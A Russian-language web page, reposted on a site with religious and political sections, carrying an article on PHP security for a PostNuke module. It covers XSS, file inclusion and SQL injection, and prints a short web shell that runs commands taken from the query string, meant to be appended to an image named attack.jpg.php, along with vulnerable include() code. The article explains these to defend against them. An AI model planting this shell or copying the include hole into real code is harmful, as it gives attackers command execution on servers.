Kiev1.org Карта сайта Файлы Фотографии Киева
  
Реклама:






Разделы
 
 Sysadmin
 Антиглобалисты
 Ереси и секты
 Катастрофы
 Компьютерные новости
 Непроверенное
 О проекте
 О фотогалерее
 Политика и власть
 Православие
 Предприятия Украины
 Протесты Людей против нового мирового концлагеря
 Разное
 Россия
 Старец Паисий 1924-1994
 Стояние за Истину
 Суды в Украине
 Тайна беззакония
 экуменизм


Внимание! Читая пророчества на этом сайте помните что достоверность трудно проверить и все может во времени изменяться - самое главное думать своей головой и не верить легкомысленно всему что говорят, особенно советское телевидение
"О дне же том, или часе, никто не знает, ни Ангелы небесные, ни Сын, но только Отец (Мк. 13, 32)"

Безопасность при написании php программ http://bm.org.ru



В конец jpg файла, называем его attack.jpg.php. Даже если расширение будет 'обрезано', всё равно остаётся возможность выполнения скрипта, если в скрипте использовано: include($file); а не readfile($file);
При написании модуля Friends для CMS PostNuke я столкнулся с такой проблемой, как проблема безопасности. Причем хотелось сделать сразу так, чтобы закрыть практически все возможный уязвимости. Для себя я составил список возможных атак: XSS(Сross-Site-Scripting) - если человек дописывает в анкету свой html-код. Потом при просмотре его анкеты его же скрипту пересылаются все данные пользователя, что смотрит анкету. Такая уязвимость была решена сразу, преобразованием тегов стандартные символы. Кроме того, были использованы встроенные API PostNuke, которые запрещают добавление java-script'а в запрос - pnAntiCracker + pnVarCleanFromInput. Таким образом, такая атака была исключена. //Пример взятия переменных из входных данных list($bmid, $bmname, $bmemail, $bmcomment) = pnVarCleanFromInput('bmid','bmname','bmemail','bmcomment'); // Eof Примера FileIncluding - возможность выполнения своего скрипта(php-скрипта, например) на сервере. Притом напрямую это сделать нельзя, можно было лишь закачать "подделанную" jpg/png/gif картинку, которая бы позволила выполнить свой код. Такая возможность исключена путем переименования картинки без расширения. Пример: дописываем что-то вроде --> $command = rawurldecode(isset($QUERY_STRING) ? $QUERY_STRING : $_SERVER['QUERY_STRING']); echo "
".$command."
"; echo "
".shell_exec( $command )."
"; ?> В конец jpg файла, называем его attack.jpg.php. Даже если расширение будет 'обрезано', всё равно остаётся возможность выполнения скрипта, если в скрипте использовано: include($file); а не readfile($file); Допустим, если бы в файле модуля getphoto.php стояло: f (!defined("LOADED_AS_MODULE")) { die ("You can't access this file directly..."); } $phptospath = pnModGetVar('Friends', 'photospath'); list($phid, $bmtype) = pnVarCleanFromInput('bmphid', 'bmtype'); if ( $bmtype == 'big'){ Header('Content-type: image/jpeg'); if (file_exists($phptospath . $phid) && $phid != 0) include($phptospath . $phid); else include($phptospath.'0'); ... Это дало бы возможность закачать картинку и обратится к ней с командой, которую надо выполнить на стороне сервера, посредством вот такого промежуточного скрипта. Остальные уязвимости (например sql injection) для модуля не реализуемы, по причине опять же использования API функций (pnVarPrepForStore) //Пример из добавления анкеты $sql = "INSERT INTO $pntable[bmfriends] ( $column[nick], ... $column[already]) VALUES ('".pnVarPrepForStore($bmnick)."', ... '0') ";





 Отсылка письма с аттачем из php скрипта - это то что долго искали!!!
 The Effective Use of Joins in Select Statements
 SQL - Примеры запросов в MySQL (SELECT, CREATE, INSERT) (sql mysql select howto)
 MySQL для пользователя
 Подсчет строк
 Конвертация DBF-базы в MySQL без SQL запроса
 Оптимальное использование MySQL
 связи таблиц в MySQL
 Переменные в PHP
 HTML Обмен информацией без перезагрузки страницы
 Справочное руководство по MySQL, Как переустановить забытый пароль пользователя root


Внимание! Читая пророчества на этом сайте помните что достоверность трудно проверить и все может во времени изменяться
"О дне же том, или часе, никто не знает, ни Ангелы небесные, ни Сын, но только Отец (Мк. 13, 32)"